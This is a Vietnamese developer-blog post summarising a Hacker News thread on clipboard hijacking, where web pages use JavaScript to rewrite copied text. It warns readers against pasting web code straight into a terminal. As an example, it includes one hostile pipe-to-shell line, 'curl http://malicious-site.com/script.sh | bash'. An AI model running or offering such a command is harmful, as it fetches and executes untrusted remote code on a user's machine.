Coding4Food LogoCoding4Food
Trang chủChuyên mụcArcadeĐã lưu
en
Trang chủChuyên mụcArcadeĐã lưu
Coding4Food LogoCoding4Food
Trang chủChuyên mụcArcadeĐã lưu
Bảo mật|Điều khoản

© 2026 Coding4Food. Viết bởi dev, cho dev.

Tất cả tin tức
Công nghệChuyện Nghề

Copy Fail: Khi Ctrl+C Phản Bội Lại Niềm Tin Của Anh Em Dev

30 tháng 4, 20264 phút đọc

Bôi đen code xịn xò nhưng paste ra toàn rác? Hóng drama 1200+ points trên Hacker News về trò ma giáo Clipboard Hijacking trên web.

Chia sẻ bài viết:
error, not found, 404, lego, mistake, 4, 0, number, brick, internet, http, response, code, dead, broken, link, lost, web, page, dead end, disappointment, error, error, error, error, error, not found, not found, not found, lego, lego, lego
Nguồn gốc: https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev. Nội dung thuộc bản quyền Coding4Food. Original source: https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev. Content is property of Coding4Food. This content was scraped without permission from https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-devNguồn gốc: https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev. Nội dung thuộc bản quyền Coding4Food. Original source: https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev. Content is property of Coding4Food. This content was scraped without permission from https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev
Nguồn gốc: https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev. Nội dung thuộc bản quyền Coding4Food. Original source: https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev. Content is property of Coding4Food. This content was scraped without permission from https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-devNguồn gốc: https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev. Nội dung thuộc bản quyền Coding4Food. Original source: https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev. Content is property of Coding4Food. This content was scraped without permission from https://coding4food.com/post/copy-fail-khi-ctrl-c-phan-boi-dev
clipboard hijackingcopy failweb developmentux designhacker news dramajavascript
Chia sẻ bài viết:

Bình luận

Đã bao giờ anh em cào phím miệt mài, bí quá bèn Google, bôi đen một đoạn code xịn xò con bò trên mạng, Ctrl+C tự tin vãi chưởng, xong paste vào IDE thì nó lòi ra nguyên một sớ "Read more at..." chưa? Cay đ*o chịu được đúng không?

Chuyện quái gì vừa xảy ra với cái Clipboard của tôi?

Mới đây, trên Hacker News vừa nổ ra một topic thu hút hơn 1250 điểm vọt lên top trending mang tên Copy Fail (kèm cái link gốc nghe đã thấy uy tín: copy.fail). Chả là có một ông dev nào đó vì quá rảnh rỗi (hoặc quá cay cú) đã làm ra hẳn một cái trang web demo thực tế về việc: Trình duyệt của bạn đang bị thao túng tâm lý như thế nào mỗi khi bạn bấm nút Copy.

Cho anh em lười click link thì đây là tóm tắt toàn cảnh:

  • Trang web này chĩa thẳng mũi dùi vào Clipboard API và cái trò ma giáo dùng JavaScript để ghi đè dữ liệu lên bộ nhớ tạm của người dùng.
  • Bạn bôi đen dòng chữ npm install lib-xịn, nhưng khi paste ra terminal, nó có thể biến thành curl http://malicious-site.com/script.sh | bash và tự động gõ luôn phím Enter. Ảo ma chưa?
  • Nó bóc phốt luôn cái trò phèn chúa của mấy trang tin tức hay blog: bạn copy 1 câu, nó nhét thêm 10 dòng bản quyền, link bài viết, số điện thoại liên hệ như một tờ rơi phát ở ngã tư.
  • Và tất nhiên, không thể thiếu combo cấm Right-click, cấm bôi đen, làm anh em thợ code phải lôi F12 ra ngồi mò mẫm bóc từng thẻ HTML như bóc cua.

Giang cư mận Hacker News tế sống các pháp sư Web

Với một cộng đồng toàn các lão quái IT như Hacker News thì vụ này chả khác gì chọc vào tổ kiến lửa. Dân tình chia phe combat cực kỳ rôm rả, nhưng nhìn chung là chửi hăng lắm:

  • Phe "Nạn nhân của báo mạng": Đa số anh em đều than vãn về mấy trang tin tức hoặc recipe nấu ăn. Đang code dở, chạy ra copy cái config mà dính nguyên dòng "Vui lòng trích nguồn" làm crash luôn cả app. Nhiều ông còn thề sẽ block sạch mấy trang có trò này.
  • Phe "Thuyết âm mưu bảo mật": Một pháp sư ẩn danh lại lôi cái kịch bản kinh điển ra dọa: Copy code dán thẳng vào terminal là hành động tự sát. Cái trò ẩn mã độc bằng CSS display: none rồi nhét vào clipboard khi user copy vẫn đang là một cái bẫy siêu to khổng lồ.
  • Phe "Bảo thủ cực đoan": Nhóm này khuyên anh em cài NoScript, tắt m* JavaScript đi cho nhẹ đầu. Dựng con blog trên cái VPS ghẻ thì cứ HTML thuần mà táng, nhét mớ JS cắn RAM vào làm gì để rồi đẻ ra mấy cái bug UX phèn lậu này?

Góc nhìn từ Coding4Food: Bài học sinh tồn cho anh em thợ code

Tóm cái váy lại, qua vụ này anh em rút ra được gì?

Thứ nhất, trên tư cách là người dùng, đạo hữu nào có thói quen copy code từ web rồi dán thẳng vào Terminal thì bỏ ngay đi nhé. Trừ khi các ông thích bị sập server hay muốn dâng shell cho hacker. Cứ dán vào một cái text editor thuần (như Notepad) để xem mặt mũi nó ra sao rồi hãy dùng.

Thứ hai, trên tư cách là người code (hoặc nạn nhân bị sếp dí). Nếu một ngày đẹp trời, gã PM đập bàn yêu cầu bạn: "Em ơi, làm tính năng cấm copy hoặc chèn link bản quyền vào clipboard cho web mình đi". Hãy dũng cảm đứng lên, nhìn thẳng vào mắt hắn và nói: "Anh bớt lùa gà đi!".

Clipboard là vùng đất thiêng liêng của người dùng, đừng cố gắng kiểm soát nó. Làm web thì UX mượt mà, nội dung xịn là người ta tự nhớ, chứ ba cái trò tiểu xảo khóa mõm người dùng thế này chỉ chứng tỏ mình đang đi lùi về thời Web 1.0 năm 2005 thôi các đồng đạo ạ.


Nguồn hóng hớt:

  • Hacker News: Copy Fail
  • Link gốc: copy.fail

Bài viết liên quan

ai generated, hacker, attack, mask, internet, anonymous, binary, crime, artificial intelligence, circuit, digital, intelligent, futuristic, computer science, technology, zero, robot, binary code, binary system, hacker, hacker, hacker, hacker, hacker
Công nghệDrama IT

OpenAI, Google coi chừng! Chiếc Web kêu gọi "AI mã nguồn mở phải thắng" đang làm loạn Hacker News

Drama cực căng trên Hacker News khi một trang web kêu gọi cứu lấy AI mã nguồn mở leo thẳng top 1. Liệu đây là lý tưởng vĩ đại hay chiêu trò lùa gà?

13 thg 65 phút đọc
Đọc tiếp →
ai generated, processor, cpu, chip, computer, technology, hardware, electronics, gpu, digital
Chuyện NghềCông nghệ

Đốt 48K Đô Mua Server GPU Chạy AI: Nước Đi Thiên Tài Hay Chơi Ngu Lấy Tiếng?

Bỏ hơn 1 tỷ bạc mua đứt server GPU thay vì cúng tiền cho AWS. Cùng hóng xem vố 'xuống xác' này của một dev trên Hacker News là chân ái hay toang hoác.

22 thg 54 phút đọc
Đọc tiếp →
office, ereader, desk, newspaper, coffee, work, schreiber, workplace, article, reserve, business, stock exchange, ebook, finance, information, internet, communication, meeting, organizer, calculator, computer, economically, article, article, article, article, article, ebook
Công nghệDrama IT

Nỗi Uất Hận Của Dev Khi Code Chuẩn 100% Vẫn Bị Hệ Thống Đè Ra Báo Lỗi

Câu chuyện dở khóc dở cười khi file ePub của tác giả hoàn hảo không một vết xước nhưng vẫn bị Kobo từ chối thẳng thừng vì gánh nặng di sản từ Adobe.

15 thg 64 phút đọc
Đọc tiếp →
figdet-spinner, spinner, fidget, spinner, spinner, fidget, fidget, fidget, fidget, fidget
Đồ Nghề & Tech StackCông nghệ

Performative-UI: Thư viện React 'giả trân' chuyên trị mấy sếp thích màu mè hoa lá hẹ

Cười ra nước mắt với Performative-UI, thư viện React chuyên tạo hiệu ứng loading giả, gõ chữ chậm để 'lừa tình' người dùng là hệ thống đang xử lý cực kỳ phức tạp.

9 thg 64 phút đọc
Đọc tiếp →
javascript, js, logo, source code, program, development, javascript, javascript, javascript, javascript, javascript
Công nghệ

VoidZero Bán Mình Cho Cloudflare: Cú Bắt Tay Chấn Động Giới JS, Dân Tình Đang Lo Hay Mừng?

VoidZero của giáo chủ Evan You chính thức gia nhập Cloudflare. Liệu đây là bước tiến cho toolchain JS hay khởi đầu của vendor lock-in? Anh em dev hóng ngay!

5 thg 63 phút đọc
Đọc tiếp →
ai generated, neural, brain, technology, network, digital, mind, data, information, neurons, biotech, nanotechnology, science, head, electronics, cybernetics, cyberspace, singularity, robot, future, computer, chip, processor, intelligence
Công nghệAI & Automation

Google thả xích Gemma 4 12B: Không thèm xài Encoder, kèo này thơm hay lại bánh vẽ?

Google vừa tung Gemma 4 12B với kiến trúc multimodal encoder-free. Giang cư mận HN đang rần rần. Liệu có đủ tuổi đọ lại Llama hay chỉ là content lùa gà?

4 thg 64 phút đọc
Đọc tiếp →